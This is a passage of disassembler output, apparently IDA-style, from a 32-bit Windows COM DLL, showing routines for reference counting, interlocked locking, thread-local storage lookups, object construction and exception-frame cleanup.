mov [ebp-1Ch], eax
lea ecx, [esi+2018h]
cmp edi, ecx
jb short loc_69B184F5
jmp loc_69B23AF0
; ---------------------------------------------------------------------------
loc_69B184A5: ; CODE XREF: sub_69B184B1+1811j
mov eax, [ebp-24h]
jmp loc_69B19CAE
; ---------------------------------------------------------------------------
loc_69B184AD: ; CODE XREF: sub_69B184B1+1822j
; sub_69B184B1+B6F2j ...
xor eax, eax
jmp short loc_69B18524
; END OF FUNCTION CHUNK FOR sub_69B184B1
; =============== S U B R O U T I N E =======================================
sub_69B184B1 proc near ; CODE XREF: sub_69B17F72+CCp
; FUNCTION CHUNK AT 69B1848B SIZE 00000026 BYTES
; FUNCTION CHUNK AT 69B19C97 SIZE 00000073 BYTES
; FUNCTION CHUNK AT 69B23AE2 SIZE 00000133 BYTES
; FUNCTION CHUNK AT 69B23C62 SIZE 0000004C BYTES
push 24h
push offset dword_69B18530
call sub_69B19C5C
mov eax, [ebp+8]
mov esi, [eax+2020h]
loc_69B184C6: ; CODE XREF: sub_69B184B1+17F4j
mov edx, [esi+10h]
cmp edx, 0FFFFFFFFh
jz loc_69B19C97
mov edi, [esi+8]
lea ecx, [esi+2018h]
mov eax, edi
sub eax, esi
sub eax, 18h
sar eax, 3
shl eax, 0Ch
add eax, edx
mov [ebp-1Ch], eax
cmp edi, ecx
jnb loc_69B23AED
loc_69B184F5: ; CODE XREF: sub_69B184B1-13j
mov ecx, [edi]
mov ebx, [ebp+0Ch]
cmp ecx, ebx
jl short loc_69B1848B
cmp [edi+4], ebx
jbe short loc_69B1848B
push ebx
push ecx
push eax
call sub_69B1BC7A
add esp, 0Ch
test eax, eax
jz loc_69B23AE2
loc_69B18516: ; CODE XREF: sub_69B184B1+B670j
mov ecx, [ebp+8]
mov [ecx+2020h], esi
sub [edi], ebx
mov [esi+8], edi
loc_69B18524: ; CODE XREF: sub_69B184B1-2j
; sub_69B184B1+1854j ...
call sub_69B1853C
retn
sub_69B184B1 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dword_69B18530 dd 0FFFFFFFFh dd offset sub_69B23C15
dd offset sub_69B23C1E
; =============== S U B R O U T I N E =======================================
sub_69B1853C proc near ; CODE XREF: sub_69B1992C:loc_69B11DF8p
; sub_69B17135-513Ep ...
mov ecx, [ebp-10h]
mov large fs:0, ecx
pop ecx
pop edi
pop esi
pop ebx
leave
push ecx
retn
sub_69B1853C endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B6F741
loc_69B1854D: ; CODE XREF: sub_69B6F741+10j
push esi
push edi
mov esi, ecx
call sub_69B18654
xor edi, edi
mov dword ptr [esi], offset off_69B1861C
mov dword ptr [esi+0Ch], offset off_69B18600
mov dword ptr [esi+10h], offset off_69B185E8
mov dword ptr [esi+14h], offset off_69B185E0
mov [esi+24h], edi
mov [esi+2Ch], edi
mov [esi+34h], edi
mov [esi+38h], edi
mov [esi+3Ch], edi
mov [esi+44h], edi
mov [esi+48h], edi
mov [esi+50h], edi
mov [esi+5Ch], edi
mov [esi+60h], edi
mov [esi+64h], edi
mov [esi+68h], edi
lea eax, [esi+70h]
mov dword ptr [eax], offset off_69B2A4C8
mov [eax+10h], edi
mov [eax+18h], edi
lea eax, [esi+8Ch]
mov [eax], edi
mov [eax+4], edi
mov [eax+8], edi
mov [eax+0Ch], edi
mov [eax+10h], edi
push edi
mov [esi+0A0h], edi
push edi
lea ecx, [esi+0ACh]
mov [esi+0A4h], edi
call sub_69B5EBCF
mov [esi+0B8h], edi
pop edi
mov eax, esi
pop esi
retn
; END OF FUNCTION CHUNK FOR sub_69B6F741
; ---------------------------------------------------------------------------
align 10h
off_69B185E0 dd offset loc_69B6E304 ; DATA XREF: sub_69B6F741-571D5o
dd offset sub_69B6F2BA
off_69B185E8 dd offset loc_69B6E4ED ; DATA XREF: sub_69B6F741-571DCo
dd offset loc_69B6E507
dd offset loc_69B6E521
dd offset sub_69B6E2D2
dd offset sub_69B6E2F1
dd offset sub_69B6F176
off_69B18600 dd offset loc_69B6F655 ; DATA XREF: sub_69B6F741-571E3o
dd offset loc_69B6F65F
dd offset loc_69B6F669
dd offset loc_69B6FCC4
dd offset loc_69B6F7CC
dd offset loc_69B6F824
dd offset sub_69B6E3D7
off_69B1861C dd offset sub_69B6547B ; DATA XREF: sub_69B6F741-571E9o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B6F673
dd offset sub_69B1B57D
dd offset sub_69B1BF60
dd offset sub_69B186A8
dd offset sub_69B2D6C8
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B6F87C
; =============== S U B R O U T I N E =======================================
sub_69B18654 proc near ; CODE XREF: sub_69B71AFF-5BADBp
; sub_69B16DBC+4p ...
push esi
mov esi, ecx
call sub_69B19118
mov dword ptr [esi], offset off_69B18670
mov dword ptr [esi+8], 1
mov eax, esi
pop esi
retn
sub_69B18654 endp
; ---------------------------------------------------------------------------
align 10h
off_69B18670 dd offset sub_69B2D67E ; DATA XREF: sub_69B1814A+Co
; sub_69B18654+8o ...
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B18284
dd offset sub_69B1B57D
dd offset sub_69B1BF60
dd offset sub_69B186A8
dd offset sub_69B2D6C8
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset nullsub_5
; =============== S U B R O U T I N E =======================================
sub_69B186A8 proc near ; CODE XREF: sub_69B3F493+3j
; .text:69B3F4C8j ...
; FUNCTION CHUNK AT 69B22E4E SIZE 00000008 BYTES
push esi
mov esi, ecx
mov eax, [esi+4]
cmp eax, 0FFFFFFFFh
jz short loc_69B186BB
test al, 4
jnz loc_69B22E4E
loc_69B186BB: ; CODE XREF: sub_69B186A8+9j
lea eax, [esi+8]
push eax ; lpAddend
call ds:InterlockedDecrement ; InterlockedDecrement
test eax, eax
loc_69B186C7: ; CODE XREF: sub_69B186A8+A7A9j
jnz short loc_69B186D2
mov eax, [esi]
mov ecx, esi
push 1
call dword ptr [eax+0Ch]
loc_69B186D2: ; CODE XREF: sub_69B186A8:loc_69B186C7j
pop esi
retn
sub_69B186A8 endp
; =============== S U B R O U T I N E =======================================
sub_69B186D4 proc near ; DATA XREF: .text:69B18100o
; .text:69B1F94Co
arg_0 = byte ptr 4
push esi
mov esi, ecx
lea eax, [esi+10h]
push eax
call sub_69B17230
mov ecx, esi
call sub_69B186FA
test [esp+4+arg_0], 1
jz short loc_69B186F4
push esi
call sub_69B1829F
loc_69B186F4: ; CODE XREF: sub_69B186D4+18j
mov eax, esi
pop esi
retn 4
sub_69B186D4 endp
; =============== S U B R O U T I N E =======================================
sub_69B186FA proc near ; CODE XREF: sub_69B18284+3p
; sub_69B186D4+Ep ...
mov dword ptr [ecx], offset off_69B12188
sub_69B186FA endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_69B18700 proc near ; CODE XREF: sub_69B1D5F3+17p
; sub_69B2D825+9p ...
push esi
mov esi, ecx
push esi
call sub_69B181A4
test al, al
jz short loc_69B1870F
loc_69B1870D: ; CODE XREF: sub_69B18700+15j
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B1870F: ; CODE XREF: sub_69B18700+Bj
push esi
call sub_69B1B1F3
jmp short loc_69B1870D
sub_69B18700 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1872D
loc_69B18717: ; CODE XREF: sub_69B1872D+58j
mov ecx, [esp+arg_0]
lea eax, [ecx+2024h]
inc dword ptr [eax]
cmp dword ptr [eax], 20h
jnz short locret_69B18787
jmp loc_69B23AD3
; END OF FUNCTION CHUNK FOR sub_69B1872D
; =============== S U B R O U T I N E =======================================
sub_69B1872D proc near ; CODE XREF: sub_69B182B8+ABp
; sub_69B23725+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 69B18717 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 69B23AD3 SIZE 0000000F BYTES
mov eax, [esp+arg_4]
push ebx
push esi
push edi
mov edi, [esp+0Ch+arg_8]
push dwTlsIndex
mov ecx, edi
sub ecx, [eax+10h]
sar ecx, 0Ch
lea esi, [eax+ecx*8+18h]
call dword_69B92970
mov ebx, eax
mov [ebx+50h], edi
add edi, 4
push edi ; Target
call sub_69B18980
mov ecx, [esp+10h+arg_8]
movzx edx, byte ptr [ecx]
add [esi], edx
push eax
push edi
mov byte ptr [ecx], 0
call sub_69B18788
and dword ptr [ebx+50h], 0
cmp dword ptr [esi], 0EFh
pop edi
mov dword ptr [esi+4], 0F0h
pop esi
pop ebx
jz short loc_69B18717
locret_69B18787: ; CODE XREF: sub_69B1872D-7j
; sub_69B1872D+B3B0j
retn
sub_69B1872D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_69B18788 proc near ; CODE XREF: sub_69B1872D+3Fp
; sub_69B1DE55+6B7Fp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
mov [ecx], eax
retn 8
sub_69B18788 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1879A
loc_69B18795: ; CODE XREF: sub_69B1879A+2Aj
push 2
loc_69B18797: ; CODE XREF: sub_69B1879A+1B6Dj
pop eax
jmp short loc_69B187DE
; END OF FUNCTION CHUNK FOR sub_69B1879A
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B1879A proc near ; CODE XREF: sub_69B17DC6+3Ap
; sub_69B18A22+37p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
; FUNCTION CHUNK AT 69B11D62 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 69B18795 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 69B1A2FD SIZE 00000019 BYTES
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
push ebx
and eax, 7FFFFFFFh
push edi
cdq
mov edi, ecx
idiv dword ptr [edi+18h]
or [ebp+var_4], 0FFFFFFFFh
push esi
mov ebx, edx
loc_69B187B5: ; CODE XREF: sub_69B1879A+1B77j
mov ecx, [edi+20h]
push ebx
call sub_69B171A0
mov esi, eax
cmp dword ptr [esi+0Ch], 0
jz short loc_69B18795
push [ebp+arg_4]
mov ecx, esi
push [ebp+arg_0]
call sub_69B18800
test al, al
jz loc_69B1A2FD
xor eax, eax
inc eax
loc_69B187DE: ; CODE XREF: sub_69B1879A-2j
mov ecx, [ebp+arg_8]
mov [ecx], esi
mov ecx, [ebp+arg_C]
test ecx, ecx
pop esi
jnz loc_69B11D62
loc_69B187EF: ; CODE XREF: sub_69B1879A-6A36j
mov ecx, [ebp+arg_10]
test ecx, ecx
pop edi
pop ebx
jnz loc_69B11D69
locret_69B187FC: ; CODE XREF: sub_69B1879A-6A2Cj
leave
retn 14h
sub_69B1879A endp
; =============== S U B R O U T I N E =======================================
sub_69B18800 proc near ; CODE XREF: sub_69B1879A+34p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 69B11DB6 SIZE 00000007 BYTES
mov eax, [ecx+8]
cmp eax, [esp+arg_4]
jnz loc_69B11DB6
mov ecx, [ecx]
push [esp+arg_0]
mov eax, [ecx]
call dword ptr [eax+24h]
test al, al
jz loc_69B11DB6
xor eax, eax
inc eax
locret_69B18823: ; CODE XREF: sub_69B18800-6A48j
retn 8
sub_69B18800 endp
; =============== S U B R O U T I N E =======================================
sub_69B18826 proc near ; CODE XREF: sub_69B11DBDj
; DATA XREF: .text:69B12234o ...
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
push edi
mov ecx, offset off_69B1888C
call sub_69B1885E
test al, al
jz short loc_69B18855
mov eax, [esi+8]
cmp eax, [edi+8]
jnz short loc_69B1885A
mov edi, [edi+0Ch]
mov esi, [esi+0Ch]
lea ecx, [eax+eax]
xor eax, eax
repe cmpsb
jnz short loc_69B1885A
inc eax
loc_69B18855: ; CODE XREF: sub_69B18826+15j
; sub_69B18826+36j
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_69B1885A: ; CODE XREF: sub_69B18826+1Dj
; sub_69B18826+2Cj
xor eax, eax
jmp short loc_69B18855
sub_69B18826 endp
; =============== S U B R O U T I N E =======================================
sub_69B1885E proc near ; CODE XREF: sub_69B18826+Ep
; sub_69B4CC14+15p ...
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 69B23CB3 SIZE 00000007 BYTES
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
test ecx, ecx
jz short loc_69B18880
mov eax, [ecx]
call dword ptr [eax+1Ch]
loc_69B1886E: ; CODE XREF: sub_69B1885E+B457j
test eax, eax
jz short loc_69B18880
cmp eax, esi
jnz loc_69B23CB3
mov al, 1
loc_69B1887C: ; CODE XREF: sub_69B1885E+24j
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_69B18880: ; CODE XREF: sub_69B1885E+9j
; sub_69B1885E+12j
xor al, al
jmp short loc_69B1887C
sub_69B1885E endp
; =============== S U B R O U T I N E =======================================
sub_69B18884 proc near ; CODE XREF: sub_69B4CC14+Ep
; DATA XREF: .text:69B1222Co ...
mov eax, offset off_69B1888C
retn
sub_69B18884 endp
; ---------------------------------------------------------------------------
align 4
off_69B1888C dd offset dword_69B18894 ; DATA XREF: sub_69B18826+9o
; sub_69B18884o ...
dd offset sub_69B6860C
dword_69B18894 dd 2 dup(0) ; .text:off_69B25E94o ...
; =============== S U B R O U T I N E =======================================
sub_69B1889C proc near ; CODE XREF: DllGetClassObject+77p
; sub_69B61F42+41p
call sub_69B195DA
cmp dword_69B95A14, 0
jnz short locret_69B188DB
push 0
push 0
push 0C8h
call sub_69B1A768
mov dword_69B95A14, eax
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
push 0
push dword_69B95A18
call sub_69B192E9
push eax ; Value
mov ecx, offset dword_69B95A0C ; Target
call sub_69B188DC
locret_69B188DB: ; CODE XREF: sub_69B1889C+Cj
retn
sub_69B1889C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __thiscall sub_69B188DC(LPLONG Target, LONG Value)
sub_69B188DC proc near ; CODE XREF: sub_69B1992C-7B4Dp
; sub_69B1889C+3Ap ...
var_4 = byte ptr -4
Value = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
cmp dword ptr [esi+4], 0
jnz short loc_69B18913
push dword_69B929D8
lea ecx, [ebp+var_4]
call sub_69B18E23
cmp dword ptr [esi+4], 0
jnz short loc_69B1890B
mov eax, dword_69B929EC
mov [esi+4], eax
mov dword_69B929EC, esi
loc_69B1890B: ; CODE XREF: sub_69B188DC+1Fj
lea ecx, [ebp+var_4]
call sub_69B1900C
loc_69B18913: ; CODE XREF: sub_69B188DC+Bj
push [ebp+Value] ; Value
push esi ; Target
call sub_69B18921
pop esi
leave
retn 4
sub_69B188DC endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B18921(LPLONG Target, LONG Value)
sub_69B18921 proc near ; CODE XREF: sub_69B188DC+3Bp
; sub_69B58C7C+96p
Target = dword ptr 4
Value = dword ptr 8
; FUNCTION CHUNK AT 69B234BC SIZE 0000000B BYTES
push esi
mov esi, [esp+4+Value]
test esi, esi
jz short loc_69B18930
mov eax, [esi]
push esi
call dword ptr [eax+4]
loc_69B18930: ; CODE XREF: sub_69B18921+7j
push esi ; Value
push [esp+8+Target] ; Target
call ds:InterlockedExchange ; InterlockedExchange
test eax, eax
pop esi
jnz loc_69B234BC
locret_69B18944: ; CODE XREF: sub_69B18921+ABA1j
retn 8
sub_69B18921 endp
; =============== S U B R O U T I N E =======================================
sub_69B18947 proc near ; DATA XREF: .text:69B172E4o
; .text:69B180F8o
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
call sub_69B18953
retn 4
sub_69B18947 endp
; =============== S U B R O U T I N E =======================================
sub_69B18953 proc near ; CODE XREF: sub_69B18947+4p
call sub_69B17275
test eax, eax
jnz sub_69B17355
push esi
lea esi, [ecx+4]
push esi ; Target
call sub_69B18980
add eax, 8
mov [esi], eax
shr eax, 3
pop esi
retn
sub_69B18953 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B18980(LPLONG Target)
sub_69B18980 proc near ; CODE XREF: sub_69B11E80+8p
; sub_69B11EFA+Dp ...
Target = dword ptr 4
; FUNCTION CHUNK AT 69B22E30 SIZE 00000017 BYTES
mov al, byte_69B929CC
neg al
push esi
mov esi, [esp+4+Target]
push edi
sbb eax, eax
and eax, 0FA0h
mov edi, eax
loc_69B18996: ; CODE XREF: sub_69B18980+A4B5j
; sub_69B18980+A4C2j
cmp dword ptr [esi], 0FFFFFFFFh
jz loc_69B22E30
push 0FFFFFFFFh ; Value
push esi ; Target
call ds:InterlockedExchange ; InterlockedExchange
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0FFFFFFFFh
jz loc_69B22E30
pop edi
pop esi
retn 4
sub_69B18980 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B17DC6
loc_69B189BE: ; CODE XREF: sub_69B17DC6+C31j
inc ebx
mov [esi+1Ch], ebx
jmp short loc_69B189F9
; ---------------------------------------------------------------------------
loc_69B189C4: ; CODE XREF: sub_69B17DC6+8Cj
mov ecx, [esi+20h]
mov [ebp-54h], ecx
push ebx
call sub_69B171A0
mov edi, eax
mov [ebp-58h], edi
mov eax, [edi]
mov [ebp-5Ch], eax
push eax
lea eax, [ebp-50h]
push eax
call sub_69B17320
mov eax, [edi+4]
mov [ebp-60h], eax
push eax
push esi
lea ecx, [ebp-50h]
call sub_69B18ACB
cmp [esi+1Ch], ebx
jle short loc_69B189BE
loc_69B189F9: ; CODE XREF: sub_69B17DC6+BFCj
mov ebx, [edi+0Ch]
mov [ebp-30h], ebx
push esi
mov ecx, edi
call sub_69B17EA0
dec dword ptr [esi+0Ch]
mov eax, [ebp-4Ch]
mov [ebp-64h], eax
push 0
push eax
push dword ptr [ebp-50h]
mov ecx, esi
call sub_69B18A22
jmp loc_69B17E4F
; END OF FUNCTION CHUNK FOR sub_69B17DC6
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B18A22 proc near ; CODE XREF: sub_69B17DC6+C52p
; sub_69B18FB8+27p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
; FUNCTION CHUNK AT 69B199DF SIZE 0000002A BYTES
; FUNCTION CHUNK AT 69B2402E SIZE 0000003B BYTES
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
xor ebx, ebx
cmp edi, ebx
mov esi, ecx
mov [ebp+var_4], ebx
jz loc_69B2405A
cmp [ebp+arg_4], ebx
jz loc_69B2405A
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+20h]
push ebx
push ebx
lea ecx, [ebp+arg_0]
push ecx
push eax
push edi
mov ecx, esi
mov [ebp+var_8], eax
call sub_69B1879A
dec eax
jz loc_69B2402E
dec eax
jnz loc_69B199DF
loc_69B18A6C: ; CODE XREF: sub_69B18A22+FE2j
push [ebp+var_8]
mov ecx, [ebp+arg_0]
push [ebp+arg_4]
push edi
push esi
call sub_69B18AA0
inc dword ptr [esi+0Ch]
cmp [ebp+arg_8], bl
jz short loc_69B18A8A
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
loc_69B18A8A: ; CODE XREF: sub_69B18A22+60j
; sub_69B18A22+FBEj ...
mov eax, [esi+0Ch]
cmp eax, [esi+14h]
jg loc_69B2404E
loc_69B18A96: ; CODE XREF: sub_69B18A22+B633j
; sub_69B18A22+B642j
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn 0Ch
sub_69B18A22 endp
; =============== S U B R O U T I N E =======================================
sub_69B18AA0 proc near ; CODE XREF: sub_69B18A22+55p
; sub_69B31749+BFp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
push [esp+4+arg_4]
mov esi, ecx
push esi
call sub_69B17320
push [esp+4+arg_8]
mov ecx, esi
push [esp+8+arg_0]
call sub_69B18ACB
mov eax, [esp+4+arg_C]
or dword ptr [esi+0Ch], 0FFFFFFFFh
mov [esi+8], eax
pop esi
retn 10h
sub_69B18AA0 endp
; =============== S U B R O U T I N E =======================================
sub_69B18ACB proc near ; CODE XREF: sub_69B17DC6+C29p
; sub_69B18AA0+17p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 69B23FB8 SIZE 00000012 BYTES
mov eax, [esp+arg_0]
cmp byte ptr [eax+8], 0
jnz loc_69B23FB8
mov eax, [esp+arg_4]
mov [ecx+4], eax
locret_69B18AE0: ; CODE XREF: sub_69B18ACB+B4FAj
retn 8
sub_69B18ACB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B18AE3 proc near ; CODE XREF: .text:69B46378j
; DATA XREF: .text:off_69B1DF78o
var_10 = byte ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
; FUNCTION CHUNK AT 69B248F2 SIZE 0000000A BYTES
push ebp
mov ebp, esp
sub esp, 10h
push ebx
call dword_69B92948
mov ebx, eax
test ebx, ebx
jz loc_69B248F2
push esi
mov esi, [ebp+arg_0]
push dword ptr [esi+18h]
lea ecx, [ebp+var_10]
push ebx
call sub_69B18B3B
push [ebp+arg_8]
mov eax, [esi+18h]
push [ebp+arg_4]
mov ecx, [eax+4Ch]
push 0
push esi
push 0
push 0
call sub_69B1C04C
lea ecx, [ebp+var_10]
mov esi, eax
call sub_69B18EBA
push ebx
call dword_69B92944
mov eax, esi
pop esi
loc_69B18B36: ; CODE XREF: sub_69B18AE3+BE14j
pop ebx
leave
retn 0Ch
sub_69B18AE3 endp
; =============== S U B R O U T I N E =======================================
sub_69B18B3B proc near ; CODE XREF: sub_69B18AE3+22p
; sub_69B18E72+22p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_4]
mov esi, ecx
push [esp+8+arg_0]
lea ecx, [esi+4]
call sub_69B1B552
push 0
push [esp+8+arg_4]
mov ecx, esi
push [esp+0Ch+arg_0]
call sub_69B18B65
mov eax, esi
pop esi
retn 8
sub_69B18B3B endp
; =============== S U B R O U T I N E =======================================
sub_69B18B65 proc near ; CODE XREF: sub_69B18B3B+1Fp
; sub_69B3B332+1Fp ...
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 69B248FC SIZE 00000046 BYTES
push ebx
mov ebx, [esp+4+arg_4]
test ebx, ebx
push esi
push edi
mov edi, [esp+0Ch+arg_8]
mov esi, ecx
jz loc_69B248FC
loc_69B18B7A: ; CODE XREF: sub_69B18B65+BDD8j
test edi, edi
jnz loc_69B24908
loc_69B18B82: ; CODE XREF: sub_69B18B65+BDAFj
cmp dword ptr [esi+0Ch], 0
jz loc_69B24919
loc_69B18B8C: ; CODE XREF: sub_69B18B65+BDBAj
mov ecx, [ebx+3Ch]
mov [esi], ecx
mov eax, [ecx]
call dword ptr [eax+14h]
test edi, edi
jnz loc_69B24924
loc_69B18B9E: ; CODE XREF: sub_69B18B65+BDCBj
mov esi, [esi]
mov eax, [esi]
push esi
call dword ptr [eax+4]
loc_69B18BA6: ; CODE XREF: sub_69B18B65+BD9Ej
pop edi
pop esi
pop ebx
retn 0Ch
sub_69B18B65 endp
; =============== S U B R O U T I N E =======================================
sub_69B18BAC proc near ; DATA XREF: .text:69B1B3ECo
push esi
push dwTlsIndex
mov esi, ecx
call dword_69B92970
push eax
mov ecx, esi
call sub_69B18BC5
pop esi
retn
sub_69B18BAC endp
; =============== S U B R O U T I N E =======================================
sub_69B18BC5 proc near ; CODE XREF: sub_69B18BAC+12p
; sub_69B192E9+56p ...
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 69B23473 SIZE 0000000F BYTES
mov eax, [ecx+28h]
cmp eax, [esp+arg_0]
jz loc_69B23473
push 0FFFFFFFFh ; dwMilliseconds
call sub_69B18BDC
locret_69B18BD9: ; CODE XREF: sub_69B18BC5+A8B8j
retn 4
sub_69B18BC5 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B18BDC(DWORD dwMilliseconds)
sub_69B18BDC proc near ; CODE XREF: sub_69B18BC5+Fp
; sub_69B2DE91+2p ...
dwMilliseconds = dword ptr 4
; FUNCTION CHUNK AT 69B18C06 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 69B23407 SIZE 00000010 BYTES
push esi
push edi
mov esi, ecx
lea edi, [esi+14h]
push edi ; lpAddend
call ds:InterlockedIncrement ; InterlockedIncrement
cmp dword ptr [esi+10h], 0
jg loc_69B23407
mov eax, [edi]
cmp eax, [esi+1Ch]
jg loc_69B23407
loc_69B18BFF: ; CODE XREF: sub_69B18BDC+2Ej
mov al, 1
loc_69B18C01: ; CODE XREF: sub_69B18BDC+2Cj
pop edi
pop esi
retn 4
sub_69B18BDC endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B18BDC
loc_69B18C06: ; CODE XREF: sub_69B18BDC+A836j
test al, al
jz short loc_69B18C01
jmp short loc_69B18BFF
; END OF FUNCTION CHUNK FOR sub_69B18BDC
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B18C0C proc near ; CODE XREF: DllCanUnloadNow+20p
; sub_69B19148+A1C2p ...
var_4 = byte ptr -4
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 69B23245 SIZE 000000B1 BYTES
push ebp
mov ebp, esp
push ecx
test byte ptr [ebp+arg_0], 8
jz loc_69B23245
loc_69B18C1A: ; CODE XREF: sub_69B18C0C+A64Cj
; sub_69B18C0C+A65Ej
push esi
push dwTlsIndex
call dword_69B92970
mov esi, eax
cmp esi, dword_69B929A0
jz short loc_69B18CAE
push ebx
xor ebx, ebx
cmp [esi+20h], bl
jnz short loc_69B18CAD
mov eax, dword_69B929D0
cmp [eax+28h], esi
jz short loc_69B18CAD
mov eax, dword_69B929D4
cmp [eax+28h], esi
jz short loc_69B18CAD
push dword_69B929E0
lea ecx, [ebp+var_4]
call sub_69B18E23
cmp byte_69B929BD, bl
mov edx, dword_69B929B0
mov dword_69B929B4, edx
mov dword_69B929B8, ebx
jnz loc_69B2326F
cmp dword_69B929AC, ebx
jnz short loc_69B18CA5
test byte ptr [ebp+arg_0], 2
jz loc_69B232C8
cmp byte_69B929BC, bl
jnz short loc_69B18CA5
mov dword_69B929AC, 1
loc_69B18C9D: ; CODE XREF: sub_69B18C0C+A66Fj
; sub_69B18C0C+A6A2j ...
push [ebp+arg_0]
call sub_69B18CB3
loc_69B18CA5: ; CODE XREF: sub_69B18C0C+73j
; sub_69B18C0C+85j ...
lea ecx, [ebp+var_4]
call sub_69B1900C
loc_69B18CAD: ; CODE XREF: sub_69B18C0C+2Bj
; sub_69B18C0C+35j ...
pop ebx
loc_69B18CAE: ; CODE XREF: sub_69B18C0C+23j
pop esi
locret_69B18CAF: ; CODE XREF: sub_69B18C0C+A658j
leave
retn 4
sub_69B18C0C endp
; =============== S U B R O U T I N E =======================================
sub_69B18CB3 proc near ; CODE XREF: sub_69B18C0C+94p
; FUNCTION CHUNK AT 69B1E224 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 69B1E2D4 SIZE 000000BB BYTES
; FUNCTION CHUNK AT 69B230A2 SIZE 00000138 BYTES
; FUNCTION CHUNK AT 69B23213 SIZE 0000001D BYTES
push 30Ch
push offset dword_69B18D80
call sub_69B19C5C
mov eax, dword_69B92170
xor eax, [ebp+4]
mov [ebp-1Ch], eax
cmp byte_69B929BC, 0
jnz loc_69B1E350
push dword_69B929DC
lea ecx, [ebp-20h]
call sub_69B18E23
mov eax, dword_69B929D4
xor edi, edi
cmp [eax+2Ch], edi
jg loc_69B18DB1
mov eax, dword_69B929D0
cmp [eax+2Ch], edi
jg loc_69B18DB1
inc dword_69B929A8
call sub_69B1B193
mov [ebp-4], edi
mov byte_69B92988, 0
mov eax, lpMem
mov dword_69B9298C, eax
call sub_69B11E73
mov ebx, eax
mov [ebp-24h], ebx
push ebx
call sub_69B1B580
mov esi, dword_69B9295C
mov dword_69B92994, esi
loc_69B18D41: ; CODE XREF: sub_69B18CB3+C5j
mov [ebp-28h], esi
cmp esi, edi
jz short loc_69B18D8C
cmp byte ptr [esi+44h], 0
jnz loc_69B230A2
loc_69B18D52: ; CODE XREF: sub_69B18CB3+A3F5j
cmp byte ptr [esi+18h], 0
jnz short loc_69B18DAB
lea edi, [esi+0Ch]
push edi ; Target
call sub_69B18980
push esi
call sub_69B11E80
mov [ebp-2Ch], eax
mov [edi], eax
mov [esi+4], esi
mov byte ptr [esi+18h], 1
xor edi, edi
loc_69B18D75: ; CODE XREF: sub_69B18CB3+FCj
mov esi, [esi+14h]
jmp short loc_69B18D41
; ---------------------------------------------------------------------------
align 10h
dword_69B18D80 dd 0FFFFFFFFh dd offset sub_69B231DA
dd offset sub_69B231E3
; ---------------------------------------------------------------------------
loc_69B18D8C: ; CODE XREF: sub_69B18CB3+93j
cmp byte_69B929BD, 0
jnz loc_69B230AD
